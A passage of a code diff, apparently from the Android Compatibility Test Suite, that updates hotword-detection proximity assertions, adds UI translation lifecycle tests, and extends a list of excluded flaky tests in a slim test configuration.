+                performAndGetDetectionResult(mActivityTestRule, mContext,
+                        Utils.HOTWORD_DETECTION_SERVICE_DSP_ONDETECT_TEST,
+                        Utils.HOTWORD_DETECTION_SERVICE_BASIC),
+                PROXIMITY_FAR);
 
         testHotwordDetection(mActivityTestRule, mContext,
                 Utils.HOTWORD_DETECTION_SERVICE_DSP_DESTROY_DETECTOR,
@@ -164,7 +180,7 @@
                 Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
                 Utils.HOTWORD_DETECTION_SERVICE_BASIC);
 
-        CtsTestAttentionService.respondProximity(AttentionService.PROXIMITY_UNKNOWN);
+        CtsTestAttentionService.respondProximity(PROXIMITY_UNKNOWN);
 
         verifyProximityBundle(
                 performAndGetDetectionResult(mActivityTestRule, mContext,
@@ -189,13 +205,13 @@
                 Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
                 Utils.HOTWORD_DETECTION_SERVICE_BASIC);
 
-        CtsTestAttentionService.respondProximity(SUCCESSFUL_PROXIMITY_DISTANCE);
+        CtsTestAttentionService.respondProximity(PROXIMITY_NEAR_METERS);
 
         verifyProximityBundle(
                 performAndGetDetectionResult(mActivityTestRule, mContext,
                         Utils.HOTWORD_DETECTION_SERVICE_MIC_ONDETECT_TEST,
                         Utils.HOTWORD_DETECTION_SERVICE_BASIC),
-                SUCCESSFUL_PROXIMITY_DISTANCE);
+                PROXIMITY_NEAR);
 
         testHotwordDetection(mActivityTestRule, mContext,
                 Utils.HOTWORD_DETECTION_SERVICE_SOFTWARE_DESTROY_DETECTOR,
@@ -214,7 +230,7 @@
                 Utils.HOTWORD_DETECTION_SERVICE_TRIGGER_SUCCESS,
                 Utils.HOTWORD_DETECTION_SERVICE_BASIC);
 
-        CtsTestAttentionService.respondProximity(SUCCESSFUL_PROXIMITY_DISTANCE);
+        CtsTestAttentionService.respondProximity(PROXIMITY_FAR);
 
         verifyProximityBundle(
                 performAndGetDetectionResult(mActivityTestRule, mContext,
@@ -230,21 +246,16 @@
     }
 
     // simply check that the proximity values are equal.
-    private void verifyProximityBundle(Parcelable result, Double expected) {
+    private void verifyProximityBundle(Parcelable result, Integer expected) {
         assertThat(result).isInstanceOf(EventPayloadParcelable.class);
         HotwordDetectedResult hotwordDetectedResult =
                 ((EventPayloadParcelable) result).mHotwordDetectedResult;
         assertThat(hotwordDetectedResult).isNotNull();
         if (expected == null || !ENABLE_PROXIMITY_RESULT) {
-            assertThat(
-                    hotwordDetectedResult.getExtras().containsKey(EXTRA_PROXIMITY_METERS))
-                    .isFalse();
+            assertThat(hotwordDetectedResult.getExtras().containsKey(EXTRA_PROXIMITY)).isFalse();
         } else {
-            assertThat(
-                    hotwordDetectedResult.getExtras().containsKey(EXTRA_PROXIMITY_METERS))
-                    .isTrue();
-            assertThat(
-                    hotwordDetectedResult.getExtras().getDouble(EXTRA_PROXIMITY_METERS))
+            assertThat(hotwordDetectedResult.getExtras().containsKey(EXTRA_PROXIMITY)).isTrue();
+            assertThat(hotwordDetectedResult.getExtras().getInt(EXTRA_PROXIMITY))
                     .isEqualTo(expected);
         }
     }
diff --git a/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java b/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
index d73c707..4632d03 100644
--- a/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
+++ b/tests/translation/src/android/translation/cts/UiTranslationManagerTest.java
@@ -700,7 +700,50 @@
         } finally {
             manager.unregisterUiTranslationStateCallback(mockCallback);
         }
-        // TODO(b/191417938): add a test to verify startUiTranslation + Activity destroyed.
+    }
+
+    @Test
+    public void testActivityDestroyedWithoutFinishTranslation() throws Throwable {
+        final Pair<List<AutofillId>, ContentCaptureContext> result =
+                enableServicesAndStartActivityForTranslation();
+
+        final List<AutofillId> views = result.first;
+        final ContentCaptureContext contentCaptureContext = result.second;
+
+        UiTranslationManager manager =
+                sContext.getSystemService(UiTranslationManager.class);
+        // Set response
+        sTranslationReplier.addResponse(createViewsTranslationResponse(views, "success"));
+
+        // Register callback
+        final Executor executor = Executors.newSingleThreadExecutor();
+        UiTranslationStateCallback mockCallback = Mockito.mock(UiTranslationStateCallback.class);
+        manager.registerUiTranslationStateCallback(executor, mockCallback);
+
+        try {
+            startUiTranslation(/* shouldPadContent */ false, views, contentCaptureContext);
+
+            Mockito.verify(mockCallback, Mockito.times(1))
+                    .onStarted(any(ULocale.class), any(ULocale.class), any(String.class));
+
+            pauseUiTranslation(contentCaptureContext);
+
+            Mockito.verify(mockCallback, Mockito.times(1)).onPaused(any(String.class));
+
+            resumeUiTranslation(contentCaptureContext);
+
+            Mockito.verify(mockCallback, Mockito.times(1))
+                    .onResumed(any(ULocale.class), any(ULocale.class), any(String.class));
+
+            // Make sure onFinished will still be called if Activity is destroyed, even without a
+            // finishTranslation call.
+            mActivityScenario.moveToState(Lifecycle.State.DESTROYED);
+            mActivityScenario = null;
+            SystemClock.sleep(UI_WAIT_TIMEOUT);
+            Mockito.verify(mockCallback, Mockito.times(1)).onFinished(any(String.class));
+        } finally {
+            manager.unregisterUiTranslationStateCallback(mockCallback);
+        }
     }
 
     @Test
@@ -901,6 +944,45 @@
     }
 
     @Test
+    public void testCallbackRegisteredAfterActivityDestroyedWithoutFinishTranslation()
+            throws Throwable {
+        final Pair<List<AutofillId>, ContentCaptureContext> result =
+                enableServicesAndStartActivityForTranslation();
+
+        final List<AutofillId> views = result.first;
+        final ContentCaptureContext contentCaptureContext = result.second;
+
+        UiTranslationManager manager =
+                sContext.getSystemService(UiTranslationManager.class);
+        // Set response
+        sTranslationReplier.addResponse(createViewsTranslationResponse(views, "success"));
+
+        startUiTranslation(/* shouldPadContent */ false, views, contentCaptureContext);
+
+        pauseUiTranslation(contentCaptureContext);
+
+        resumeUiTranslation(contentCaptureContext);
+
+        // Note: No finishTranslation call; Activity is destroyed.
+        mActivityScenario.moveToState(Lifecycle.State.DESTROYED);
+        mActivityScenario = null;
+        SystemClock.sleep(UI_WAIT_TIMEOUT);
+
+        // Register callback
+        final Executor executor = Executors.newSingleThreadExecutor();
+        UiTranslationStateCallback mockCallback = Mockito.mock(UiTranslationStateCallback.class);
+        manager.registerUiTranslationStateCallback(executor, mockCallback);
+
+        try {
+            // Callback should receive no events.
+            SystemClock.sleep(UI_WAIT_TIMEOUT);
+            Mockito.verifyZeroInteractions(mockCallback);
+        } finally {
+            manager.unregisterUiTranslationStateCallback(mockCallback);
+        }
+    }
+
+    @Test
     public void testCallbackCalledOnceAfterDuplicateCalls() throws Throwable {
         final Pair<List<AutofillId>, ContentCaptureContext> result =
                 enableServicesAndStartActivityForTranslation();
diff --git a/tools/cts-tradefed/res/config/cts-slim-stable.xml b/tools/cts-tradefed/res/config/cts-slim-stable.xml
index 6d64e2c..d36a7b6 100644
--- a/tools/cts-tradefed/res/config/cts-slim-stable.xml
+++ b/tools/cts-tradefed/res/config/cts-slim-stable.xml
@@ -32,8 +32,19 @@
 
   <!-- flaky tests -->
   <option name="compatibility:exclude-filter"
+          value="CtsAppTestCases android.app.cts.ActivityManagerFgsBgStartTest#testOverlappedTempAllowList"/>
+  <option name="compatibility:exclude-filter"
+          value="CtsAppTestCases android.app.cts.ActivityManagerProcessStateTest#testBackgroundCheckActivityService"/>
+  <option name="compatibility:exclude-filter"
+          value="CtsAppTestCases android.app.cts.ActivityManagerProcessStateTest#testFgsSticky1"/>
+  <option name="compatibility:exclude-filter"
       value="CtsAppTestCases android.app.cts.ActivityManagerProcessStateTest#testCantSaveStateLaunchAndSwitch" />
   <option name="compatibility:exclude-filter"
+          value="CtsAppTestCases android.app.cts.ActivityManagerProcessStateTest#testFgsSticky1"/>
+  <option name="compatibility:exclude-filter"
+          value="CtsAppTestCases android.app.cts.AlertDialog_BuilderTest"/>
+  <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.NotificationManagerTest#testNotificationUriPermissionsGranted"/>
+  <option name="compatibility:exclude-filter"
       value="CtsContentTestCases android.content.cts.ContentProviderClientTest#testBulkInsertTimeout"/>
   <option name="compatibility:exclude-filter"
       value="CtsContentTestCases android.content.cts.ContentProviderClientTest#testUncanonicalizeTimeout" />
@@ -42,14 +53,57 @@
   <option name="compatibility:exclude-filter"
       value="CtsContentTestCases android.content.cts.ContentQueryMapTest#testSetKeepUpdated" />
   <option name="compatibility:exclude-filter"
+          value="CtsGraphicsTestCases android.graphics.cts.AnimatorLeakTest#testPauseResume"/>
+  <option name="compatibility:exclude-filter"
       value="CtsLocationFineTestCases android.location.cts.fine.LocationManagerFineTest#testRegisterGnssMeasurementsCallback" />
   <option name="compatibility:exclude-filter" value="CtsTransitionTestCases"/>
   <option name="compatibility:exclude-filter"
       value="CtsVoiceInteractionTestCases android.voiceinteraction.cts.DirectActionsTest" />
   <option name="compatibility:exclude-filter"
       value="CtsWidgetTestCases android.widget.cts.ZoomControlsTest#testHasFocus" />
+  <option name="compatibility:exclude-filter"
+          value="CtsWidgetTestCases android.widget.cts.TextViewTest#testOnBackInvokedCallback"/>
+  <option name="compatibility:exclude-filter"
+          value="CtsWidgetTestCases android.widget.cts.TextViewTest#testUndo_imeInsertAndDeleteLatin"/>
+  <option name="compatibility:exclude-filter"
+          value="CtsWidgetTestCases android.widget.cts.TimePickerTest#testConstructorNullContext2"/>
+  <option name="compatibility:exclude-filter"
+          value="CtsWidgetTestCases android.widget.cts.ToggleButtonTest#testAttributesFromLayout"/>
+  <option name="compatibility:exclude-filter"
+          value="CtsWidgetTestCases android.widget.cts.ToggleButtonTest#testSetChecked"/>
+  <option name="compatibility:exclude-filter"
+          value="CtsWidgetTestCases android.widget.cts.ToolbarTest#testNavigationConfiguration"/>
+  <option name="compatibility:exclude-filter"
+          value="CtsWidgetTestCases android.widget.cts.ToolbarTest#testMenuOverflowShowHide"/>
+  <option name="compatibility:exclude-filter"
+          value="CtsWidgetTestCases android.widget.cts.ToolbarTest#testTitleAndSubtitleContent"/>
+  <option name="compatibility:exclude-filter"
+          value="CtsWidgetTestCases android.widget.cts.ToolbarTest#testCurrentContentInsetsRtl"/>
+  <option name="compatibility:exclude-filter"
+          value="CtsWidgetTestCases android.widget.cts.ToolbarTest#testMenuContent"/>
+  <option name="compatibility:exclude-filter"
+          value="CtsWidgetTestCases android.widget.cts.TwoLineListItemTest#testConstructorWithNullContext2"/>
+  <option name="compatibility:exclude-filter"
+          value="CtsWidgetTestCases android.widget.cts.TwoLineListItemTest#testConstructor"/>
+  <option name="compatibility:exclude-filter"
+          value="CtsWidgetTestCases android.widget.cts.ViewAnimatorTest#testAccessDisplayedChild"/>
+  <option name="compatibility:exclude-filter"
+          value="CtsWidgetTestCases android.widget.cts.ViewAnimatorTest#testGetBaseline"/>
+  <option name="compatibility:exclude-filter"
+          value="CtsWidgetTestCases android.widget.cts.ZoomButtonTest#testConstructorWithNullContext2"/>
+  <option name="compatibility:exclude-filter"
+          value="CtsWidgetTestCases android.widget.cts.ZoomControlsTest#testSetZoomSpeed"/>
+  <option name="compatibility:exclude-filter"
+          value="CtsWidgetTestCases android.widget.cts.inline.InlineContentViewTest#testSetSurfaceControlCallback"/>
+<option name="compatibility:exclude-filter"
+          value="CtsWidgetTestCases android.widget.cts.ViewFlipperTest#testConstructorNullContext"/>
+  <option name="compatibility:exclude-filter"
+          value="CtsWidgetTestCases android.widget.cts.ViewFlipperTest#testConstructor"/>
 
   <!-- also fails on sdk_phone -->
+  <!-- causes bluetooth crash b/254094190 -->
+  <option name="compatibility:exclude-filter"
+          value="CtsAppTestCases android.app.cts.ActivityManagerProcessStateTest#testFgsSticky3"/>
   <option name="compatibility:exclude-filter"
       value="CtsAppTestCases android.app.cts.SystemFeaturesTest#testLocationFeatures" />
   <option name="compatibility:exclude-filter"
@@ -58,6 +112,12 @@
       value="CtsAppTestCases android.app.cts.SystemFeaturesTest#testSensorFeatures" />
   <option name="compatibility:exclude-filter"
       value="CtsContentTestCases android.content.pm.cts.InstallSessionParamsUnitTest#checkSessionParams[11]" />
+  <option name="compatibility:exclude-filter"
+          value="CtsContentTestCases android.content.pm.cts.ChecksumsTest#testFixedFSVerityDefaultChecksumsIncremental"/>
+  <option name="compatibility:exclude-filter"
+          value="CtsContentTestCases android.content.pm.cts.ChecksumsTest#testFixedFSVerityDefaultChecksums"/>
+  <option name="compatibility:exclude-filter"
+          value="CtsGraphicsTestCases android.graphics.cts.VulkanFeaturesTest#testVulkanHardwareFeatures"/>
 
   <!-- documentsui dependent tests -->
   <option name="compatibility:exclude-filter"
@@ -85,6 +145,9 @@
       value="CtsAppTestCases android.app.cts.NotificationManagerTest#testNotificationManagerBubble_checkIsBubbled_pendingIntent"/>
   <option name="compatibility:exclude-filter"
       value="CtsAppTestCases android.app.cts.NotificationManagerTest#testNotificationManagerBubble_checkIsBubbled_shortcut"/>
+  <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.NotificationManagerBubbleTest"/>
+  <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.NotificationTemplateTest#testPromoteBigPicture_withLargeIcon"/>         |
+  <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.NotificationTemplateTest#testPromoteBigPicture_withBigLargeIcon"/>
   <option name="compatibility:exclude-filter"
       value="CtsOsTestCases android.os.cts.AppHibernationIntegrationTest#testUnusedApp_getsForceStopped" />
   <option name="compatibility:exclude-filter"
@@ -99,11 +162,16 @@
       value="CtsViewTestCases android.view.cts.ViewTest#testGetWindowVisibleDisplayFrame" />
   <option name="compatibility:exclude-filter"
       value="CtsWidgetTestCases android.widget.cts.ToastTest" />
+  <option name="compatibility:exclude-filter" value="CtsSliceTestCases android.slice.cts.SlicePermissionsTest#testPermissionIntent"/>
 
   <!-- other apps dependent tests -->
+  <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActivityManagerTest#testHomeVisibilityListener"/>
+  <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.ActivityManagerFgsBgStartTest#testVisibleActivityGracePeriod"/>
   <option name="compatibility:exclude-filter"
       value="CtsContentTestCases android.content.cts.AvailableIntentsTest"/>
   <option name="compatibility:exclude-filter"
+          value="CtsGraphicsTestCases android.graphics.cts.SystemPaletteTest#testThemeStyles"/>
+  <option name="compatibility:exclude-filter"
       value="CtsOsTestCases android.os.cts.AppHibernationIntegrationTest#testAppInfo_RemovePermissionsAndFreeUpSpaceToggleExists" />
   <option name="compatibility:exclude-filter"
       value="CtsOsTestCases android.os.cts.CompanionDeviceManagerTest#testProfiles" />
@@ -130,6 +198,8 @@
   <option name="compatibility:exclude-filter"
       value="CtsGraphicsTestCases android.graphics.drawable.cts.AnimatedImageDrawableTest#testLifeCycle" />
   <option name="compatibility:exclude-filter"
+          value="CtsGraphicsTestCases android.graphics.cts.HardwareRendererTest#isDrawingEnabled_defaultsTrue"/>
+  <option name="compatibility:exclude-filter"
       value="CtsNativeHardwareTestCases" />
   <option name="compatibility:exclude-filter"
       value="CtsViewTestCases android.view.cts.ASurfaceControlTest" />
@@ -160,5 +230,7 @@
   <option name="compatibility:exclude-filter"
       value="CtsViewTestCases android.view.cts.ViewAnimationMatrixTest#testAnimationMatrixClearedWithPassingNull"/>
   <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases"/>
+  <option name="compatibility:exclude-filter" value="CtsViewTestCases android.view.cts.TextureViewTest#testCropRect"/>
+
 
 </configuration>